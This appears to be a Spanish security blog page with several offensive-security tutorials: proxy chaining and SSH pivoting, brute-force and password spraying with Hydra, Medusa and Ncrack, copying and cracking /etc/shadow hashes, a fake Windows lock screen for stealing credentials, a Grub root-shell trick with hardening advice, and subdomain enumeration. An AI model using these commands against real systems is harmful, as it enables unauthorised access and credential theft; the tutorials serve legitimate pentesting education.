29 junio, 2020

Pivoting entre proxys encadenados con Proxychains

Proxychains es una herramienta que actúa como un servidor proxy soportando conexiones TCP en protocolos HTTP, HTTPS, SOCKS4 y SOCKS5. Su principal característica es el encadenamiento de servidores proxy configurados y como redirige estas peticiones de uno a otro.

En una fase de reconocimiento y enumeración hacía un sitio web, dependiendo el caso, intentamos mantener un cierto grado de anonimato ocultando nuestra dirección IP pública. Para ello usamos servidores Proxy o VPN Proxy o VPN siendo estas más fiables, prácticas y con un mayor nivel de garantía.

El uso de Proxychains nos permite configurar varios servidores proxy e ir reenviando de uno a otro de forma secuencial las peticiones que realicemos usando una segunda herramienta que no tenga capacidad para realizar esta tarea y así convertirla en anónima como pueden ser el uso de Nmap, SSH, un navegador web, etc.
proxychains <aplicación> <argumento>
proxychains firefox http://ifconfig.me
Existen multitud de sitios web donde podemos encontrar servidores proxy abiertos, para realizar las siguientes pruebas de forma rápida son los que usaré, lo ideal sería usar diferentes máquinas que nosotros montemos y conozcamos en distintos hostings, configurar un servidor proxy con usuario y password y hacer uso de estas IPs y puertos.

hidemy.name

Es un sitio web en el que encontramos una gran lista que suele estar actualizada de servidores proxy públicos.

Proxy List - https://hidemy.name
Figura 1: Proxy list en https://hidemy.name.

Podemos instalar Proxychains desde los repositorios, en Kali ya viene incluido en su suite de herramientas. Algunas de las opciones disponibles a configurar en su fichero de configuración /etc/proxychains.conf.
  • quiet_mode: Si está descomentada indicaría un modo verbose activado.
  • proxy_dns: Todas las peticiones DNS también saldrán por el proxy, es importante para conservar el anonimato, si la petición DNS va por nuestra IP y el tráfico por la IP del proxy podría llegar a encontrarse una correlación en los logs del servidor remoto.
Se encadenan en el mismo orden en el que se define la lista. Un ejemplo de la sintaxis de configuración sería.
<tipo> <IP> <puerto> <usuario> <password>
socks4 192.168.40.30 1080 user pass
En el caso de que el servidor proxy sea público y por lo general no contenga un usuario y contraseña se omitiría.

En el apartado de ProxyList definimos la lista de servidores proxy. Por defecto Proxychains hace uso de Tor. En el siguiente escenario se usarán servidores proxy de la lista anterior de hidemy.name

proxy socks4 público en proxychains
Figura 2: Estableciendo un tipo de proxy socks4 público en proxychains.

En la siguiente captura se muestra el resultado de una petición curl a la web https://ifconfig.me/ip que nos dará como resultado nuestra dirección IP pública sin proxychains. Usando proxychains vemos como la dirección IP pública es el servidor proxy configurado en proxychains, siendo este quién realiza la petición al sitio web.
proxychains curl https://ifconfig.me/ip
IP del proxy al visitar ifconfig.me
Figura 3: Comprobando que la IP del proxy al visitar ifconfig.me.

Ahora añadiremos dos servidores proxy al fichero de configuración de proxychains. Si realizamos la misma petición con curl usando proxychains vemos como la petición se reenvía de uno a otro en el mismo orden establecido en el fichero de configuración. Para el sitio ifconfig.me será último servidor proxy quién realizó la solicitud y será el que se registre en log de acceso del servidor web.

Encadenando varios proxys en proxychains
Figura 4: Encadenando varios proxy con proxychains.

Pivoting entre redes internas con Proxychains

Proxychains también nos ayuda en la evasión de firewalls entre las comunicaciones en redes locales internas.

En el siguiente escenario el equipo de la Red A no tiene visibilidad con el equipo de la Red B pero existe un equipo intermedio que tiene visibilidad con ambas redes y que el equipo de la Red B solo aceptará peticiones que provengan de ese equipo intermedio.

Si queremos realizar un escaneo de puertos con nmap desde el equipo de la Red A al equipo de la Red B en una conexión directa no podríamos por una cuestión de visibilidad en la segmentación de redes internas locales. Sin embargo si tenemos acceso al equipo intermedio que si está autorizado para poder comunicarse con el equipo de la Red B.   

Figura 5: Pivoting hacia otra red interna con Proxychains.

Podríamos conectarnos al equipo intermedio y usar namp desde ese equipo, pero no queremos interferir instalando paquetes ni tampoco tenemos permisos suficientes para realizar instalaciones.

En estos casos lo mejor sería establecer una conexión tunelizada ejecutándose en background habilitando un reenvío de puerto dinámico (port forwarding dynamic).
ssh -NfD 1280 adrian@10.0.0.40
  • -N: No ejecuta un comando remoto (útil solo para reenviar puertos)
  • -f: Se ejecuta en segundo plano 
  • -D: Reenvío local de un puerto dinámico
Estableciendo tunel ssh port forwarding dynamic
Figura 6: Estableciendo tunel ssh port forwarding dynamic.

Configuramos proxychains para usar el puerto local 1280 que reenviará la petición al equipo intermedio y este a su vez al equipo de la Red B. En la siguiente captura vemos como usando simplemente nmap no llegamos al equipo de la Red B pero a través de proxychains somos capaces de escanear un servicio web disponible en el puerto 80.
proxychains nmap -sS 10.0.0.16 -p80
Pivoting entre redes locales internas con Proxychains
Figura 7: Pivoting entre redes locales internas con Proxychains.

Saludos!

Autor: Adrián Lois

Adrián Lois MyPublicInbox

23 junio, 2020

Hydra, Medusa y Ncrack: Password cracking a servicios por fuerza bruta en profundidad y en anchura (Password spraying)

THC-Hydra, Medusa y Ncrack son herramientas para realizar ataques de fuerza bruta a servicios activos cliente/servidor como: ssh, ftp, rdp, smb, mysql, telnet, http, imap, vnc, etc.

Para mostrar el uso de estas herramientas usaré el siguiente escenario de ejemplos. Escaneando con nmap los equipos remotos y puertos empleados para cada tipo de servicio.
nmap -p 21 10.0.0.16      # Windows 7 servicio FTP
nmap -p 3389 10.0.0.16    # Windows 7 servicio RDP
nmap -p 445 10.0.0.16     # Windows 7 servicio SMB/CIFS
nmap -p 22 10.0.0.40      # Linux servicio SSH
hydra-fuerza-bruta-wordlist-ftp
Figura 1: Escaneo de puertos a máquina en servicios SSH, RDP, FTP y SMB.

THC-Hydra

Hydra es una de las herramientas más conocidas para este tipo de ataques a servicios online. Hay que tener en cuenta que este tipo de ataques son activos y no pasivos, por lo que hay una interacción con el servicio que vamos comprometer mediante un intento de autenticación de credenciales.

Esto creará un evento en el log de la máquina remota servidora del servicio, en el caso de tener algún tipo de control de eventos en el endpoint se podrían detectar intentos de conexión con credenciales erróneas y disparar alertas.

Principalmente se pueden definir 3 tipos de ataques:
  • Fuerza bruta por diccionario con múltiples usuarios y passwords
  • Fuerza bruta en profundidad
  • Fuerza bruta en anchura o Password spraying

Fuerza bruta por diccionario con múltiples usuarios y passwords

Este tipo de ataques se caracterizan por usar un wordlist tanto para un conjunto de usuarios y de contraseñas en plano previamente definidos. En el siguiente ejemplo hay nombres de usuarios y contraseñas definidos en los ficheros "users" y "wordlist" respectivamente a un intento de conexión a la máquina remota 10.0.0.16 que será un Windows 7 con un servicio FTP.
hydra -L users -P wordlist -vV 10.0.0.16 ftp
  • -L: Fichero que contiene la lista de usuarios.
  • -P: Fichero que contiene la lista de passwords.
  • -v: Modo verbose
  • -V: Muestra el intento por cada login+pass
  • 10.0.0.16 ftp: Especificamos la IP de la máquina remota y el tipo de servicio.
El usuario "ventas" y la password "Pa$$w0rd123" serán las credenciales válidas para acceder al servicio FTP. Hydra probará intentos de conexión al servicio haciendo un barrido entre las distintas posibilidades combinatorias entre los distintos usuarios y contraseñas definidas.

hydra-fuerza-bruta-wordlist-ftp
Figura 2: Hydra - Fuerza bruta por diccionario con múltiples usuarios y passwords al servicio FTP.

Como ya comenté anteriormente, estos ataques son reconocimiento activos por lo que dejan un rastro en el log del servidor remoto. En la siguiente captura se puede ver el intento de conexión fallida al intentar autenticarse con el usuario "luis" y su password en el servidor FTP remoto.

log-intento-inicio-sesion-ftp-filezilla
Figura 3: Log en el servidor FTP del intento de autenticación.  

Fuerza bruta en profundidad

Fuerza bruta en profundidad o fuerza bruta, a secas: Se trata utilizar muchas contraseñas para una sola cuenta de usuario.

Como ejemplo se realiza un ataque de fuerza bruta al servicio RDP a una cuenta concreta llamada "maria" y probar un wordlist con varias contraseñas posibles.
hydra -l maria -P wordlist -vV 10.0.0.16 rdp
  • -l: Nombre de usuario único.
  • -P: Fichero de lista de contraseñas.
Un detalle a tener en cuenta cuando realice los intentos de conexión es que si el user/pass son correctos cerrará la sesión del usuario actual que esté conectado a la máquina si lo hubiese. 

hydra-fuerza-bruta-profundidad-rdp
Figura 4: Hydra - Fuerza bruta en profundidad al servicio RDP.

Al igual que el servicio anterior RDP también dejará un evento registrado en equipo remoto. Pudiendo ver la IP y puerto del equipo que intentó realizar la conexión así como que usuario intentó autenticarse.

log-intento-inicio-sesion-rdp
Figura 5: Log en el equipo remoto por un intento de autenticación al servicio RDP.

Fuerza bruta en anchura o Password spraying

Fuerza bruta en anchura o Password spraying: Se trata de usar la misma contraseña para muchas cuentas de usuario.

Aprovechando el mismo escenario que en el ejemplo anterior, se muestra un ataque de password spraying en el servicio de recursos compartidos de Windows SMB. 
hydra -L users -p M4ria.12 -vV 10.0.0.16 smb
  • -L: Fichero de lista de usuarios.
  • -p: Contraseña única.
Haciendo referencia a un fichero llamado "users" que contiene una lista de usuarios se le especifica una misma contraseña única.

hydra-fuerza-bruta-anchura-smb
Figura 6: Hydra - Fuerza bruta en anchura o password spraying al servicio SMB.

Como cualquier servicio de Windows de un protocolo conocido, al igual que los casos anteriores, se creará un evento relacionado obteniendo el nombre de usuario y equipo desde donde se intentó realizar la conexión de autenticación. 

log-intento-inicio-sesion-smb
Figura 7: Log en el equipo remoto por un intento de autenticación al servicio SMB.

En cualquier caso cuando un usuario o password específico se usarán los argumentos -l o -p en minúscula y en el caso de hacer referencia a wordlists serán -L o -P en mayúscula.

Medusa

Medusa es otra alternativa a THC-Hydra. Los tipos de servicios son reconocidos por el tipo de protocolo que usan. 

Medusa utiliza módulos para referirse al protocolo del servicio, es posible implementar diversos módulos a parte de los que trae por defecto. 

Estos módulos están disponibles en el path.
/usr/lib/x86_64-linux-gnu/medusa/modules

Para el siguiente ejemplo cambiaremos de escenario. Un servidor SSH expuesto en un sistema Linux se intentará un ataque de fuerza bruta con wordlists de un conjunto de usuarios y passwords.
medusa -U users -P wordlist -h 10.0.0.40 -M ssh
  • -U: Fichero de lista de usuarios
  • -P: Fichero de lista de contraseñas
  • -h: Host remoto
  • -M: Tipo de módulo.
En la siguiente captura se pueden ver los intentos de conexión con las distintas combinaciones posibles entre user/pass. 

medusa-fuerza-bruta-ssh
Figura 8: Medusa - Fuerza bruta en profundidad al servicio SSH.

Al tratarse de un ataque de fuerza bruta, son ataques activos por lo que este tipo de conexiones también dejan un registro de log en el fichero /var/log/auth.log mostrando fecha, nombre de usuario, IP y puerto desde donde se intentó realizar la conexión de autenticación.

log-fuerza-bruta-ssh
Figura 9: Log en la máquina remota del intento de autenticación al servicio SSH.

Ncrack

Ncrack desarrollada por nmap.org es otra herramienta alternativa a THC-Hydra y Medusa. Se caracteriza por su gran velocidad, su enfoque modular y la capacidad de escalar a múltiples hosts. Su sintaxis es similar a nmap

Continuando el ejemplo anterior, realizamos un ataque de fuerza bruta al servicio SSH con un mismo usuario usando una wordlist de contraseñas.
ncrack -p 22 --user pepe -P wordlist 10.0.0.40
  • -p: Puerto estándar usando por el servicio.
  • --user: Nombre de usuario único.
  • -P: Fichero de lista de contraseñas.
Al igual que THC-Hydra y Medusa, Ncrack también deja su registro en el log. En la siguiente captura se observa como en un primer intento con el usuario juan no fue posible realizar la conexión con el usuario juan pero si con el usuario pepe, lo cual es correcto. Con una lista de 8 contraseñas posibles, en ambos el tiempo de comprobación fue de 3 segundos.

ncrack-fuerza-bruta-ssh
Figura 10: Ncrack - Fuerza bruta en profundidad al servicio SSH. 

Saludos!

11 junio, 2020

Password cracking en hashes Linux (John The Ripper y Hashcat)

En otro artículo comentara el proceso y técnicas para realizar Passwords cracking de hashes NTLM ntds.dit de Active Directory en sistemas Windows.

En esta ocasión para poder llevar a cabo un ataque por fuerza bruta, diccionario o Rainbow tables a los hashes de contraseñas de sistemas Linux. Es necesario obtener un acceso root para copiar o volcar el contenido de los ficheros /etc/passwd y /etc/shadow.

Si tenemos acceso físico a la máquina o un entorno de hipervisor donde podemos elevarnos a root abriendo una terminal usando Grub, explotar una vulnerabilidad que nos permita conseguir acceso con root o en una fase de post-explotación crear un usuario y hacerlo miembro del grupo sudo o colocarlo en /etc/sudoers.

Extracción de los ficheros /etc/passwd y /etc/shadow

Una vez accedido al sistema como root. Podemos realizar la extracción de los ficheros /etc/passwd y /etc/shadow. Podríamos copiarlos a una unidad externa USB.
fdisk -l                           # Vemos los discos conectados al sistema
mkdir /mnt/usb                     # Creamos directorio para montar la unidad USB
mount -t vfat /dev/sda1 /mnt/usb/    # Montamos la unidad USB
df -h                             # Nos aseguramos de que está montado
cp /etc/passwd /mnt/usb/passwd.txt   # Copia del fichero /etc/passwd
cp /etc/shadow /mnt/usb/shadow.txt   # Copia del fichero /etc/shadow
umount /mnt/usb                    # Desmontamos la unidad USB
Si en el momento de desmontar la unidad USB nos muestra un mensaje del tipo "umount: /mnt/usb: device is busy". Podemos ver que proceso está siendo usado para /mnt/usb, finalizarlo e intentar desmontar de nuevamente la unidad.
fuser -vm /mnt/usb # Ver los procesos existentes.
fuser -k /mnt/usb # Matar los procesos existentes.
umount /mnt/usb # Desmontar la unidad (forzar con el argumento -l).

unshadow: Combinar los ficheros passwd y shadow

Una vez conseguidos ambos ficheros y volcados en una máquina controlada y aislada sin riesgo a ser bloqueados o detectados, podemos tomarnos más tiempo para el proceso de descifrado de passwords. 
# tail -n 3 /etc/passwd
pepe:x:1005:1005::/home/pepe:/bin/bash
maria:x:1006:1006::/home/maria:/bin/bash
admin:x:1007:1007::/home/admin:/bin/bash

# tail -n 3 /etc/shadow
pepe:$6$yQVL/XM8/ZZ9S2IR$yOiJozomFYVYkdeOiXO7OGrceqiVdc6aBeb9yO4QnW.DiQQf9yEBKtm8J4F0Vu2JDXwIJtTKWfUyqMoqKqDNv/:18420:0:99999:7:::
maria:$6$2t4URKFkY/8Maj.I$mo2yfY0iAMXE60qWxiuKwXMOhexJiPIHYPVL6A7iBNBqV7H5IRLySeTc6dqREkBSflbjuQJlZO2tXEFXYidkK/:18420:0:99999:7:::
admin:$6$0tr5dcVdjueqvQna$LQu.ul4LmYbaNG8/lnx7LBwlW5RxFBEUqjE.sLRlYHeeGkKzz5TZHZ5foe.HEW2hrjNw0Q3sxTMRHFkYmp9uN0:18419:0:99999:7:::
Debemos fusionarlos en un mismo fichero. Este fichero será el que le pasaremos a las herramientas de cracking para el descifrado de passwords.

Para combinar el fichero /etc/passwd y /etc/shadow usamos el comando unshadow.
unshadow passwd.txt shadow.txt > passwords

Password cracking con John The Ripper

John The Ripper es una de las herramientas más populares usada para el cracking de contraseñas.

Con el fichero único creado anteriormente. Sin indicar ningún diccionario previamente, con John podemos realizar un ataque por fuerza bruta por defecto. Dependiendo la complejidad de la contraseña esto puede tardar unos minutos o muchas horas. 
john passwords
Si no disponemos de un buen diccionario. John cuenta con el modo --incremental se trata del modo más potente y también el más costoso en tiempo de procesamiento. Es aconsejable establecer a este modo un límite de longitud y comprobaciones de contraseñas (dígitos, mayúsculas, minúsculas, símbolos, etc.) para intentar que el proceso no tarde exageradamente tanto tiempo. Donde "passwords" sería el fichero creado con unshadow.
john --incremental passwords
Podemos consultar los logs de John para ver a tiempo real el proceso de cracking.
tail -f /root/.john/john.log                   # Opción con tail
less /root/.john/john.log (pulsar shift + f)   # Opción con less
John crea un directorio oculto ~/.john en el home de usuario donde es ejecutado. Aquí almacena varios ficheros.
  • ~/.john/john.log: Almacena el proceso de cracking, podemos consultarlo en tiempo real.
  • ~/.john/john.pot: Almacena los hashes y las passwords encontradas. Podemos ver su contenido ejecutando "john --show <fichero_passwords_hashes>'.
  • ~/.john/john.rec: Guarda el estado del proceso de cracking en el que caso de que sea interrumpido ('q' o 'ctrl+c' pulsado una sola vez, si lo pulsamos dos veces el proceso se abortará por completo), de todos modos John realiza un autoguardado del proceso en este fichero cada 10 minutos.
Para mostrar o visualizar las contraseñas encontradas. Donde "passwords" sería el fichero creado con unshadow.
john --show passwords
Para mostrar el estado del proceso.
john --status
Obtener una lista de los tipos de formatos de cifrado compatibles en el caso de especificar uno concreto dependiendo tipo de hashes.
john --list=formats
john --format=sha512crypt
 Para realizar un ataque por diccionario y aplicar el estilo de reglas por defecto.
john --wordlist=diccionario.lst --rules password
En la siguiente captura se puede ver un proceso de craking por defecto y de contraseñas débiles a través de John The Ripper.

Figura 1: Password cracking en Linux con John The Ripper.


Password cracking con Hashcat

Hashcat es otra herramienta archiconocida para el craking a una amplia variedad de tipos de hashes de passwords.

Código Hashcat del tipo de hash de cifrado comunes en sistemas Linux
  • DES (Unix) = 1500
  • MD5 = 0
  • MD5 (Unix $1$) = 500
  • Blowfish (Unix $2*$) = 3200
  • SHA1 = 100
  • SHA-256 = 1400
  • SHA-256 (Unix $5$) = 7400
  • SHA-512 = 1700
  • SHA-512 (Unix $6$) = 1800 (usado en la mayoría de distribuciones actualizadas a día de hoy)
Ejemplo de uso en un ataque por diccionario con Hashcat.
hashcat -m 1800 -a 0 passwords diccionario.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule -o cracked.txt --force

En la siguiente captura se muestra un ataque por diccionario, estableciendo el formato del tipo de hash de cifrado 1800 (sha-512 - unix $6$), añadir el fichero de reglas "InsidePro-PasswordsPro.rule" incluido en el paquete de Hashcat y guardar el resultado de las contraseñas encontradas en un fichero de salida llamado cracked.txt.

Figura 2: Password cracking en Linux con Hashcat.


Password hash cracking Online

Existen multitud de sitios web en Internet que contienen grandes bases de datos con todo tipo de hashes donde pueden comparar y obtener un match en base al hash introducido. Algunas webs usan servidores potentes para realizar consultas a tablas Rainbow consiguiendo resultados más rápidamente.
Figura 3: Descifrar hashes SHA512crypt (Unix) en sitios web online.

Saludos!

FakeLogonScreen: Conseguir credenciales locales o Active Directory a través de un inicio de sesión en un bloqueo de pantalla falso

FakeLogonScreen es una utilidad desarrollada por @bitsadmin que simula un bloqueo de pantalla de inicio de sesión de Windows 10 falso que se ejecute en el lado del usuario y tiene como finalidad obtener su contraseña de acceso. La contraseña ingresada se valida con Active Directory o la máquina local para asegurarse de que sea correcta.

El usuario y las contraseñas introducidas se envían a la consola (FakeLogonScreen.exe) o se almacenan en un archivo en disco (FakeLogonScreenToFile.exe). Si el usuario configura un fondo personalizado, muestra ese fondo en lugar del predeterminado.

En una fase de post-explotación, donde disponemos de una sesión con una Shell remota, podemos copiar este binario a la máquina comprometida e invocarlo. En consola se mostrarán todas las contraseñas introducidas (en el caso de que la contraseña se escribiese mal) y nos marcará la contraseña con la que se hizo una correcta validación.


FakeLogonScreen
Figura 1: (gif) FakeLogonScreen Windows.

Saludos!

07 junio, 2020

Restablecer la password de root: Conseguir una shell de root con Grub y como evitarlo

Me he dado cuenta de que no tenía ninguna publicación al respecto sobre esto. Se trata de algo ya muy conocido y me apetecía traerlo al blog para dejarlo como un apunte más en el histórico de artículos.

Si tenemos acceso físico a la máquina o al hipervisor de una máquina virtual Linux, para poder restablecer la password de root, dejarla en blanco o cualquier otra acción privilegiada como acceder a los volúmenes del sistema para realizar un volcado o copia de los ficheros /etc/passwd y /etc/shadow con el fin de realizar un cracking de contraseñas por fuerza bruta a sus hashes, es aprovechar un pequeño hack -si se puede llamar así- usando el gestor de arranque múltiple GNU Grub (multiboot boot loader).

Tampoco se trata de un bug ya que se puede considerar para fines administrativos. Más adelante veremos como se puede fortificar el acceso a la edición desde el menú del gestor de arranque Grub.

En sistemas Linux ya sea con interfaz gráfica como un entorno de terminal sin GUI, podemos invocar manualmente el menú de Grub presionando la tecla Shift en el momento del arranque del sistema.

Figura 1: Menú del gestor de arranque GNU Grub.

Presionando la tecla "e" podemos editar Grub. Localizamos un línea similar a "linux /boot/vmlinuz-VERSION-generic root=UUID=IDENTIFICADOR ro maybe-ubiquity" modificamos ro (solo lectura) por rw (lectura y escritura) y añadimos al final "init=/bin/bash", guardamos y salimos con "Ctrl-x". Esto reiniciará el sistema y nos levantará una shell privilegiada en un contexto de root.
linux /boot/vmlinuz-VERSION-generic root=UUID=IDENTIFICADOR ro maybe-ubiquity
linux /boot/vmlinuz-VERSION-generic root=UUID=IDENTIFICADOR rw maybe-ubiquity init=/bin/bash
Figura 2: Modificación del Grub para iniciar un shell con privilegios de root.

Después de reiniciar se levantará una terminal en un contexto de root. Podremos restablecer la password y establecer una nueva con el comando passwd o realizar cualquier acción privilegiada.

Figura 3: Restablecer la password de root

Eliminar la password root dejando una contraseña en blanco. Para ello editamos el fichero /etc/shadow eliminando el asterisco (*) después de los primeros dos puntos (:) de forma que quede un espacio vacío, con esto eliminamos el uso de una contraseña para un usuario.
root::18305:0:99999:7:::
Figura 4: Password en blanco root editando /etc/shadow.

Como comenté al principio, podemos insertar una memoria USB externa, montarla y realizar una copia del fichero /etc/passwd y /etc/shadow con la finalidad de realizar ataques de fuerza bruta para la obtención de contraseñas de los usuarios del sistema. Debemos unir ambos ficheros en un único fichero con unshadow.
/usr/bin/unshadow <fichero-passwd> <fichero-shadow> > /tmp/crack.passwords

¿Cómo evitar y protegerse de esta técnica?

El hardening para evitar que cualquier persona que pueda tener acceso a la máquina de forma física o virtual desde el entorno del hipervisor y pueda realizar esta técnica.

1. Establecer password de arranque y BIOS/UEFI

Si se trata de un equipo físico. Establecer una password de arranque del sistema, algo que podemos configurar en la BIOS/UEFI. También establecer una password en el acceso al Setup de la BIOS/UEFI evitando así que no se pueda realizar un boot de otro sistema a través de Live CD/USB.

2. Cifrar el disco

Si existe la posibilidad es recomendable cifrar el volumen del sistema con LUKS.

3. Establecer una password de acceso a Grub

Establecer una password en el Grub es la opción más sencilla y segura. Creamos una password tipo PBKDF2 (Password-Based Key Derivation Function 2) que caracteriza por reducir ataques de fuerza bruta. Se nos genera un hash pbkdf2 el cual copiaremos.
grub-mkpasswd-pbkdf2
Figura 5: Establecer password al gestor de arranque Grub.

Editamos el siguiente fichero.
sudo nano /etc/grub.d/00_header
Al final del fichero pegamos lo siguiente.
cat << EOF
set superusers="admin"
password_pbkdf2 admin HASH
EOF
Donde "admin" será el nombre del usuario que queremos que valide para el acceso al menú del gestor de arranque Grub y HASH lo sustituimos por el generado anteriormente.

Actualizamos el Grub para aplicar los cambios.
sudo update-grub
Reiniciamos y pulsamos la tecla Shift para forzar que se muestre el menú de Grub. Se nos mostrará un login para su acceso donde introduciremos el usuario y contraseña establecidos anteriormente.

Figura 6: User y password para acceder al gestor de arranque Grub.

Saludos!

03 junio, 2020

El periodo de gracia de sudo y su "riesgo"

El uso del comando sudo permite a otros usuarios ejecutar acciones o programas con los privilegios de un usuario root. Es una buena práctica utilizar un usuario regular y en el momento de realizar alguna acción que requiera de elevación anteponer el comando sudo. 

Nos pedirá las credenciales del usuario actual, si el usuario tiene capacidad de manejarse en un contexto de super-usuario, es decir pertenece al grupo sudo o está agregado en el fichero /etc/sudoers (o través de visudo), de este modo el usuario podrá utilizar sudo y ejecutar las tareas necesarias como si de root se tratase. Sería algo similar al uso de UAC en Windows. 

Como ventaja nos facilita la vida en el uso y no tener que introducir siempre la contraseña si lo estamos usando de forma continua. Pero esto tiene un inconveniente o riesgo desde un punto de vista de seguridad y es que cuenta con el llamado "Periodo de gracia". Sudo nos otorga durante un tiempo limitado (por defecto 5 minutos) los mismos privilegios de los que dispone el usuario "root". 

Esto quiere decir que si volvemos a utilizar sudo durante ese corto periodo de tiempo no nos solicitará la contraseña. En el supuesto de que estemos trabajando en una oficina o donde haya más personal, nos levantamos de nuestro sitio y dejamos nuestro equipo a disposición física de cualquiera existe el riesgo de que alguien pueda realizar tareas de root con sudo si aún estamos dentro de ese periodo de gracia. Por lo que es una buena práctica de seguridad deshabilitar o eliminar este periodo de gracia del comando sudo.

Deshabilitar o reducir el periodo de gracia de sudo

Podemos aplicar un hardening para evitar esto siendo más restrictivos. Editamos el fichero /etc/sudores. 
sudo nano /etc/sudoers
Para deshabilitarlo y que siempre no solicita la contraseña en el uso de sudo. Agregamos la siguiente directiva al final del fichero.
Defaults timestamp_timeout=0
Si no queremos deshabilitarlo del todo pero si reducir su tiempo de gracia, establecemos en valor numérico el tiempo en minutos. Por ejemplo 1 minuto.
Defaults timestamp_timeout=1
Salimos y guardamos el fichero /etc/sudoers y los cambios se aplicarán al momento.

Figura 1: /etc/sudoers - Deshabilitar el periodo de gracia de sudo.

Saludos!

21 mayo, 2020

Recopilación de herramientas para la enumeración y descubrimiento de subdominios

En un proceso de pentesting de auditoría de caja negra (black box) en un principio no tenemos ningún conocimiento de la infraestructura de servidores y comunicaciones de la organización que vamos a auditar. Nos encontramos en una fase de recopilación de información y escaneo de los activos de la compañía públicos en Internet.

Lo habitual es usar footprinting con recursos web, técnicas de recopilación y análisis OSINT (Open Source Intelligence) intentando obtener la mayor cantidad de información posible y que nos pueda ser de utilidad para avanzar a una fase de enumeración de los sistemas "vivos".

Es importante conocer los subdominios públicos de un dominio principal para así realizar análisis de posibles vulnerabilidades en estos sistemas y encontrar un vector ataque que nos permita cruzar la seguridad perimetral hacia la red interna de la organización, ejecución de código arbitrario, exfiltración de datos, etc.

Probando multitud de herramientas para este fin, he decidido hacer un recopilación comentando aquellas que me parecieron más interesantes para obtener el descubrimiento y enumeración de los subdominios de un dominio principal.

Podemos usar herramientas de recursos web, accesible y rápidas o instalar herramientas en local que dependiendo cual nos mostrará un poco más de detalle, control y harán reconocimientos pasivos y/o activos si así lo definimos.

Las consultas que se realizan a los dominios no es ilegal ya que se trata de información pública en Internet y accesible por todos, siempre y cuando solo busquemos y visualizamos los resultados sin llegar a interactuar maliciosamente y de manera directa.
  • Reconocimiento pasivo: las peticiones no dejará evidencias ni acciones en los logs ya que no se llegaría a interactuar con los objetivos escaneados. Por ejemplo realizar búsquedas usando Google Dorks.
  • Reconocimiento activo: las peticiones o acciones que dejen un rastro registrado en los logs de los objetivos escaneados. Por ejemplo realizar peticiones con diccionarios wordlists de los posibles subdominios.

Recursos Web

DNSDumpsterhttps://dnsdumpster.com/

A parte de los subdominios y sus IPs relacionadas nos devolerá un mapa geoip y los servidor DNS, registros MX y registros TXT. 

DNSDumpster
Figura 1: DNSDumpster.


Nos mostrará todos los subdominios e IPs asociadas, el tipo de servidor, tecnología, tipo de página, a mayores con la versión Pro de pago podremos realizar acciones como escaneo de vulnerabilidades con OpenVAS, URL fuzzer entre otras opciones. 

Pentest-tools
Figura 2: Pentest-tools.


Listará subdominios y en tipo de sistema operativo en el que están alojados, también nos dará la posibilidad de consultar un report de cada subdominio con su IP asociada, geoip, versiones del sitio web y más información. Podemos realizar búsquedas que hagan match con con el término de subdominio que estamos buscando.

Netcraft
Figura 3: Netcraft.


Buscará los simplemente los subdominios asociados a un dominio principal.

IPv4info
Figura 4: IPv4info.


Lista los subdominios y el tipo de registro DNS del que se trata.

RapidDNS
Figura 5: RapidDNS.

Google Hacking

Una manera interesante de poder encontrar subdominios es directamente realizando una búsqueda usando Google Dorks (operadores de búsqueda avanzada). Con el operador "site:" indicamos el dominio a buscar y con "-site:" omitimos los resultados que tengan relación con el subdominio "www."

De esta forma se listarán todos los subdominios excepto los que hagan match con www.
site:web.com -site:www.web.com
Google Hacking - Dork
Figura 6: Google Hacking - Dork para buscar subdominios.

Herramientas locales


Herramienta en python. Realiza diversas búsquedas en buscadores y sitios web para obtener la información.

Instalación de pip (pip es el instalador del paquete para Python).
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
python get-pip.py
Instalación: 
git clone https://github.com/aboul3la/Sublist3r.git
cd sublist3r
pip install -r requirements.txt

python sublist3r.py -h
python sublist3r.py -v -d web.com -o subdomweb.txt
Sublist3r
Figura 7: Sublist3r.


Herramienta en python. Nos mostrará IP, estado, tipo de registro, subdominio y tipo de servicio web.
git clone https://github.com/guelfoweb/knock.git
cd knock/knockpy

python knockpy.py web.com
Knockpy
Figura 8: Knockpy.


Herramienta en python. Busca transferencias de zona, registros TXT, MX, registros DMARC y finalmente realiza un escaneo de registros tipo A mediante wordlists.
git clone https://github.com/rbsec/dnscan.git
cd dnscan

python3 dnscan.py -d web.com
dnscan
Figura 9: dnscan.

Amass - https://github.com/OWASP/Amass

Parte del proyecto OWASP a puede realizar diversas tareas usando recursos OSINT y un reconocimiento activo, entre ellas la búsqueda de subdominios por adivinación basada en similitud de FQDN, transferencias de zona, barrido inverso de DNS y fuerza bruta.

Se puede instalar de manera independiente o usando Docker: 
apt install amass

amass enum --passive -d web.com
Amass
Figura 10: Amass.

Subfinder - https://github.com/projectdiscovery/subfinder

Herramienta en Go. Lista subdominios con un reconocimiento pasivo y actualmente con 26 fuentes donde busca la información.

Descarga: https://github.com/projectdiscovery/subfinder/releases
tar -xzvf subfinder-linux-amd64.tar
mv subfinder-linux-amd64 /usr/bin/subfinder

subfinder -v -d web.com
Dispone de una implementación en Docker: https://github.com/projectdiscovery/subfinder#running-in-a-docker-container

Subfinder
Figura 11: Subfinder.



Findomain - https://github.com/Edu4rdSHL/findomain

Dispone de planes de pago con diversas funcionales, entre ellas la búsqueda continua y activa de subdominios y la notificación de un nuevo dominio. En su versión free simplemente lista los subdominios actuales.
wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux
chmod +x findomain-linux

./findomain-linux -t web.com
Findomain
Figura 12: Findomain.

Sudomy - https://github.com/Screetsec/Sudomy

Utiliza la biblioteca cURL para obtener el HTTP Response Body de sitios de terceros para ejecutar la expresión regular y así obtener los subdominios, puede establecerse en un modo de reconocimiento pasivo o activo.

Puede implementarse en Docker. Instalación y dependencias:
https://github.com/Screetsec/Sudomy#installation

Sudomy
Figura 13: Sudomy.


Herramienta en python. A través de diversos motores de búsqueda y sitios web dado un dominio intenta encontrar emails, perfiles en Linkedin, Twitter, Github, virtual hosts, etc. A mayores también muestra subdominios y su IP asociada. 

Está integrado en Kali linux. Instalación independiente: 

theHarvester
Figura 14: theHarvester.

Saludos!

14 mayo, 2020

Bypass UAC usando DLL injection en taskmgr.exe aprovechando un fileless de eventvwr.exe (Vídeo PoC)

En un artículo anterior hablara de un bypass fileless en el binario sdclt.exe, también comentara la posibilidad de realizar este método al binario eventvwr.exe. En esta ocasión mostraré como realizar un bypass de UAC usando un DLL Injection aprovechando un método tipo fileless.

